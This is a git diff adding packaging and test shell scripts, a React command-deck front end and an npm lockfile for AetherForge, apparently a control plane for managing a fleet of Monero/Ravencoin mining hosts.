scripts/LAUNCH.sh "$STAGE/LAUNCH.sh" + +if [[ -f data/config.json ]]; then + cp data/config.json "$STAGE/data/config.json" +else + cat >"$STAGE/data/config.json" <<'EOF' +{ + "listen_addr": ":8989", + "data_dir": "./data", + "database_path": "./data/forge-mesh.db", + "auth": { + "basic_username": "admin", + "basic_password": "changeme", + "fleet_secret": "change-me-fleet-secret" + }, + "wallet_policy": { + "default_wallet": "", + "currency": "XMR" + }, + "stratum": { + "xmr_listen": ":3333", + "rvn_listen": ":3388", + "upstream_xmr": "", + "upstream_rvn": "" + }, + "forge": { + "signing_key_path": "./data/signing.key", + "artifacts_dir": "./data/artifacts" + }, + "court": { + "ollama_url": "http://127.0.0.1:11434", + "enabled": false + } +} +EOF +fi + +# Optional: include cloudflared token placeholder (empty = no tunnel until operator fills in). +touch "$STAGE/data/cloudflared-token.txt.example" +cat >"$STAGE/data/cloudflared-token.txt.example" <<'EOF' +# Paste your Cloudflare Tunnel token on a single line, then rename to cloudflared-token.txt +# Or set AF_TUNNEL_TOKEN in the environment before running LAUNCH.sh +EOF + +cp scripts/README-USB.md "$STAGE/README.md" + +if [[ -x bin/forge-mesh-server ]]; then + cp bin/forge-mesh-server "$STAGE/bin/forge-mesh-server" + echo " included bin/forge-mesh-server" +else + echo " WARN: bin/forge-mesh-server missing — run 'make server' before packing for a self-contained bundle" +fi + +if [[ -x bin/cloudflared ]]; then + cp bin/cloudflared "$STAGE/bin/cloudflared" + echo " included bin/cloudflared" +fi + +mkdir -p "$OUT_DIR" +tar -C "$OUT_DIR" -czf "$ARCHIVE" "$PKG_NAME" +rm -rf "$STAGE" + +echo "==> Created $ARCHIVE" +echo " Extract anywhere, edit data/config.json, optionally data/cloudflared-token.txt, then:" +echo " ./LAUNCH.sh" diff --git a/scripts/sync-webroot.sh b/scripts/sync-webroot.sh new file mode 100755 index 0000000..2bdaf09 --- /dev/null +++ b/scripts/sync-webroot.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash +# Copy Vite build output into cmd/server/webroot for go:embed. +set -euo pipefail +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +DIST="$ROOT/web/dist" +WEBROOT="$ROOT/cmd/server/webroot" + +if [[ ! -f "$DIST/index.html" ]]; then + echo "ERROR: $DIST/index.html missing — run: cd web && npm run build" >&2 + exit 1 +fi + +rm -rf "$WEBROOT" +mkdir -p "$WEBROOT" +cp -a "$DIST"/. "$WEBROOT/" +echo "Synced web/dist -> cmd/server/webroot ($(find "$WEBROOT" -type f | wc -l) files)" diff --git a/scripts/test-all.sh b/scripts/test-all.sh new file mode 100755 index 0000000..8cf6d78 --- /dev/null +++ b/scripts/test-all.sh @@ -0,0 +1,78 @@ +#!/usr/bin/env bash +# Run full AetherForge Linux test suite with summary +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" + +export GOROOT="${GOROOT:-/usr/local/go}" +export PATH="${GOROOT}/bin:${PATH}" + +SUITE=( + "unit:scripts/test-unit.sh" + "integration:scripts/test-integration.sh" + "cli:scripts/test-cli.sh" + "frontend:scripts/test-frontend.sh" + "e2e:scripts/e2e-test.sh" +) + +PASSED=() +FAILED=() +SKIPPED=() + +run_suite() { + local name="$1" script="$2" + echo "" + echo "════════════════════════════════════════" + echo " Running ${name} tests" + echo "════════════════════════════════════════" + if [[ ! -x "${script}" ]]; then + chmod +x "${script}" + fi + if "${script}"; then + PASSED+=("${name}") + else + FAILED+=("${name}") + return 1 + fi +} + +CONTINUE_ON_FAIL="${CONTINUE_ON_FAIL:-0}" +OVERALL=0 + +for entry in "${SUITE[@]}"; do + name="${entry%%:*}" + script="${entry#*:}" + if [[ "${SKIP_E2E:-0}" == "1" && "${name}" == "e2e" ]]; then + SKIPPED+=("${name}") + echo "⊘ skipping e2e (SKIP_E2E=1)" + continue + fi + if [[ "${SKIP_FRONTEND:-0}" == "1" && "${name}" == "frontend" ]]; then + SKIPPED+=("${name}") + echo "⊘ skipping frontend (SKIP_FRONTEND=1)" + continue + fi + if run_suite "${name}" "${script}"; then + : + else + OVERALL=1 + [[ "${CONTINUE_ON_FAIL}" == "1" ]] || break + fi +done + +echo "" +echo "════════════════════════════════════════" +echo " Test summary" +echo "════════════════════════════════════════" +echo " Passed : ${#PASSED[@]} (${PASSED[*]:-none})" +echo " Failed : ${#FAILED[@]} (${FAILED[*]:-none})" +echo " Skipped: ${#SKIPPED[@]} (${SKIPPED[*]:-none})" +echo "════════════════════════════════════════" + +if [[ "${OVERALL}" -ne 0 ]]; then + echo "✗ test-all FAILED" + exit 1 +fi +echo "✓ test-all PASSED" +exit 0 diff --git a/scripts/test-cli.sh b/scripts/test-cli.sh new file mode 100755 index 0000000..4d7997f --- /dev/null +++ b/scripts/test-cli.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +# CLI smoke tests for forge-mesh forge and agent binaries +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" + +export GOROOT="${GOROOT:-/usr/local/go}" +export PATH="${GOROOT}/bin:${PATH}" + +CLI_CONFIG="/tmp/forge-mesh-cli-config.json" +CLI_DIR="/tmp/forge-mesh-cli" +mkdir -p "${CLI_DIR}" + +cat > "${CLI_CONFIG}" < [cli] building forge CLI + agent" +make -C "${ROOT}" agent +go build -o "${CLI_DIR}/forge" ./cmd/forge + +echo "==> [cli] forge pubkey" +PUBKEY="$("${CLI_DIR}/forge" pubkey --config "${CLI_CONFIG}")" +[[ -n "${PUBKEY}" ]] || { echo "empty pubkey"; exit 1; } +echo " pubkey: ${PUBKEY:0:16}..." + +echo "==> [cli] forge build (public artifacts)" +BUILD_OUT="$("${CLI_DIR}/forge" build --config "${CLI_CONFIG}" --public 2>&1)" +echo "${BUILD_OUT}" | grep -q 'built linux/amd64' || { echo "${BUILD_OUT}"; exit 1; } + +echo "==> [cli] agent --help exits cleanly" +./bin/forge-mesh-agent -h 2>&1 | grep -q 'deck' || ./bin/forge-mesh-agent 2>&1 | grep -q 'fleet secret' + +echo "✓ cli tests passed" diff --git a/scripts/test-frontend.sh b/scripts/test-frontend.sh new file mode 100755 index 0000000..3eec24d --- /dev/null +++ b/scripts/test-frontend.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash +# Frontend unit tests (Vitest + Testing Library) +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +WEB="${ROOT}/web" + +cd "${WEB}" + +if [[ ! -d node_modules ]]; then + echo "==> [frontend] installing dependencies" + npm ci 2>/dev/null || npm install +fi + +echo "==> [frontend] vitest run" +npm run test + +echo "✓ frontend tests passed" diff --git a/scripts/test-integration.sh b/scripts/test-integration.sh new file mode 100755 index 0000000..abe9cbc --- /dev/null +++ b/scripts/test-integration.sh @@ -0,0 +1,15 @@ +#!/usr/bin/env bash +# Integration tests — HTTP router, stratum, fleet store against temp SQLite +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" + +export GOROOT="${GOROOT:-/usr/local/go}" +export PATH="${GOROOT}/bin:${PATH}" +export CGO_ENABLED="${CGO_ENABLED:-1}" + +echo "==> [integration] api router + stratum + fleet store" +go test -count=1 -v ./internal/api/... ./internal/stratum/... ./internal/fleet/... + +echo "✓ integration tests passed" diff --git a/scripts/test-unit.sh b/scripts/test-unit.sh new file mode 100755 index 0000000..8bc2483 --- /dev/null +++ b/scripts/test-unit.sh @@ -0,0 +1,14 @@ +#!/usr/bin/env bash +# Go unit tests (fast, no network) +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" + +export GOROOT="${GOROOT:-/usr/local/go}" +export PATH="${GOROOT}/bin:${PATH}" + +echo "==> [unit] go test ./internal/..." +go test -count=1 -short ./internal/... + +echo "✓ unit tests passed" diff --git a/web/.gitkeep b/web/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/web/README.md b/web/README.md new file mode 100644 index 0000000..3d55cb2 --- /dev/null +++ b/web/README.md @@ -0,0 +1,31 @@ +# AetherForge Command Deck + +React + Vite command deck for the AetherForge Linux control plane. + +## Development + +```bash +npm install +npm run dev +``` + +Proxies `/api` to `http://localhost:8989`. + +## Routes + +| Path | Description | +|------|-------------| +| `/login` | HTTP Basic login (sessionStorage) | +| `/dashboard` | Fleet host cards, hashrate, tier badges | +| `/forge` | Build pipeline placeholder | +| `/calibrate` | Policy editor placeholder | +| `/crucible` | Batch terminal placeholder | +| `/seer` | SSE stream viewer placeholder | + +## Build + +```bash +npm run build +``` + +Output in `dist/` for embedding by the Go server. diff --git a/web/index.html b/web/index.html new file mode 100644 index 0000000..9c0c892 --- /dev/null +++ b/web/index.html @@ -0,0 +1,19 @@ + + + + + + + AetherForge Command Deck + + + + + +
+ + + diff --git a/web/package-lock.json b/web/package-lock.json new file mode 100644 index 0000000..f7b1eb5 --- /dev/null +++ b/web/package-lock.json @@ -0,0 +1,6580 @@ +{ + "name": "aetherforge-deck", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "aetherforge-deck", + "version": "0.1.0", + "dependencies": { + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "lucide-react": "^0.469.0", + "react": "^18.3.1", + "react-dom": "^18.3.1", + "react-router-dom": "^6.28.0", + "tailwind-merge": "^2.6.0" + }, + "devDependencies": { + "@testing-library/jest-dom": "^6.9.1", + "@testing-library/react": "^16.3.2", + "@testing-library/user-event": "^14.6.1", + "@types/react": "^18.3.18", + "@types/react-dom": "^18.3.5", + "@vitejs/plugin-react": "^4.3.4", + "@vitest/coverage-v8": "^2.1.9", + "autoprefixer": "^10.4.20", + "jsdom": "^25.0.1", + "msw": "^2.14.6", + "postcss": "^8.4.49", + "tailwindcss": "^3.4.17", + "typescript": "^5.7.2", + "vite": "^6.0.5", + "vitest": "^2.1.9" + } + }, + "node_modules/@adobe/css-tools": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz", + "integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.3.0.tgz", + "integrity": "sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@asamuzakjp/css-color": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/@asamuzakjp/css-color/-/css-color-3.2.0.tgz", + "integrity": "sha512-K1A6z8tS3XsmCMM86xoWdn7Fkdn9m6RSVtocUrJYIwZnFVkng/PvkEoWtOWmP+Scc6saYWHWZYbndEEXxl24jw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@csstools/css-calc": "^2.1.3", + "@csstools/css-color-parser": "^3.0.9", + "@csstools/css-parser-algorithms": "^3.0.4", + "@csstools/css-tokenizer": "^3.0.3", + "lru-cache": "^10.4.3" + } + }, + "node_modules/@asamuzakjp/css-color/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/@babel/code-frame": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz", + "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.29.7", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz", + "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz", + "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-compilation-targets": "^7.29.7", + "@babel/helper-module-transforms": "^7.29.7", + "@babel/helpers": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.7.tgz", + "integrity": "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz", + "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.29.7", + "@babel/helper-validator-option": "^7.29.7", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz", + "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz", + "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz", + "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7", + "@babel/traverse": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.29.7.tgz", + "integrity": "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.7.tgz", + "integrity": "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz", + "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz", + "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.7.tgz", + "integrity": "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.7.tgz", + "integrity": "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.7" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.29.7.tgz", + "integrity": "sha512-TL0hMc9xzy86VD31nUiwzd5otRAcyEPcsegCxolO0PvcXuH1v0kECe/UIznYFihpkvU5wg/jk4v0TTEFfm53fw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.29.7.tgz", + "integrity": "sha512-06IyK09H3wi4cGbhDBwp5gUGo0IKtnYa8tyTiephirPCK6fbobVGiXMMI5zLQ4aKEYP3wZ3ArU44o+8KMrSG/Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.7.tgz", + "integrity": "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz", + "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.7.tgz", + "integrity": "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.7", + "@babel/generator": "^7.29.7", + "@babel/helper-globals": "^7.29.7", + "@babel/parser": "^7.29.7", + "@babel/template": "^7.29.7", + "@babel/types": "^7.29.7", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.7", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.7.tgz", + "integrity": "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.29.7", + "@babel/helper-validator-identifier": "^7.29.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@bcoe/v8-coverage": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz", + "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@csstools/color-helpers": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@csstools/color-helpers/-/color-helpers-5.1.0.tgz", + "integrity": "sha512-S11EXWJyy0Mz5SYvRmY8nJYTFFd1LCNV+7cXyAgQtOOuzb4EsgfqDufL+9esx72/eLhsRdGZwaldu/h+E4t4BA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "engines": { + "node": ">=18" + } + }, + "node_modules/@csstools/css-calc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-2.1.4.tgz", + "integrity": "sha512-3N8oaj+0juUw/1H3YwmDDJXCgTB1gKU6Hc/bB502u9zR0q2vd786XJH9QfrKIEgFlZmhZiq6epXl4rHqhzsIgQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-color-parser": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@csstools/css-color-parser/-/css-color-parser-3.1.0.tgz", + "integrity": "sha512-nbtKwh3a6xNVIp/VRuXV64yTKnb1IjTAEEh3irzS+HkKjAOYLTGNb9pmVNntZ8iVBHcWDA2Dof0QtPgFI1BaTA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/color-helpers": "^5.1.0", + "@csstools/css-calc": "^2.1.4" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-parser-algorithms": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@csstools/css-parser-algorithms/-/css-parser-algorithms-3.0.5.tgz", + "integrity": "sha512-DaDeUkXZKjdGhgYaHNJTV9pV7Y9B3b644jCLs9Upc3VeNGg6LWARAT6O+Q+/COo+2gg/bM5rhpMAtf70WqfBdQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@csstools/css-tokenizer": "^3.0.4" + } + }, + "node_modules/@csstools/css-tokenizer": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@csstools/css-tokenizer/-/css-tokenizer-3.0.4.tgz", + "integrity": "sha512-Vd/9EVDiu6PPJt9yAh6roZP6El1xHrdvIVGjyBsHR0RYwNHgL7FJPyIIW4fANJNG6FtyZfvlRPpFI4ZM/lubvw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": 